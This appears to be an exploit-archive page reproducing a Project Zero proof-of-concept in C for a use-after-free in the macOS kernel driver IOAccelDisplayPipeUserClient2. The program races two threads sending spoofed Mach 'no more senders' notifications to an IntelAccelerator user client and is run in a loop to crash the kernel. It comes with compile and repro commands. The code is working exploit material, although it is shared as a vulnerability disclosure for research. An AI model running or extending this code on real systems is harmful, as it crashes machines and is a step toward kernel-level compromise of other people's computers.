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Apple Mac OSX - Kernel IOAccelDisplayPipeUserClient2 Use-After-Free
Author
Risk
[Security Risk Medium
]0day-ID
Category
Date add
CVE
Platform
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=565
Kernel UaF with IOAccelDisplayPipeUserClient2 with spoofed no more senders notifications
repro: while true; do ./iospoof_ig_4; done
Likely to crash in various ways; have observed NULL derefs and NX traps.
Tested on ElCapitan 10.11 (15a284) on MacBookAir 5,2
*/
// ianbeer
// clang -o iospoof_ig_4 iospoof_ig_4.c -framework IOKit
/*
Kernel UaF with IOAccelDisplayPipeUserClient2 with spoofed no more senders notifications
repro: while true; do ./iospoof_ig_4; done
*/
#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h>
#include <mach/thread_act.h>
#include <pthread.h>
#include <unistd.h>
#include <IOKit/IOKitLib.h>
io_connect_t conn = MACH_PORT_NULL;
int start = 0;
struct spoofed_notification {
mach_msg_header_t header;
NDR_record_t NDR;
mach_msg_type_number_t no_senders_count;
};
struct spoofed_notification msg = {0};
void send_message() {
mach_msg(&msg,
MACH_SEND_MSG,
msg.header.msgh_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
}
void go(void* arg){
while(start == 0){;}
usleep(1);
send_message();
}
int main(int argc, char** argv) {
char* service_name = "IntelAccelerator";
int client_type = 4;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name));
if (service == MACH_PORT_NULL) {
printf("can't find service\n");
return 0;
}
IOServiceOpen(service, mach_task_self(), client_type, &conn);
if (conn == MACH_PORT_NULL) {
printf("can't connect to service\n");
return 0;
}
pthread_t t;
int arg = 0;
pthread_create(&t, NULL, (void*) go, (void*) &arg);
// build the message:
msg.header.msgh_size = sizeof(struct spoofed_notification);
msg.header.msgh_local_port = conn;
msg.header.msgh_remote_port = conn;
msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND);
msg.header.msgh_id = 0106;
msg.no_senders_count = 1000;
usleep(100000);
start = 1;
send_message();
pthread_join(t, NULL);
return 0;
}
# 0day.today [2024-11-16] #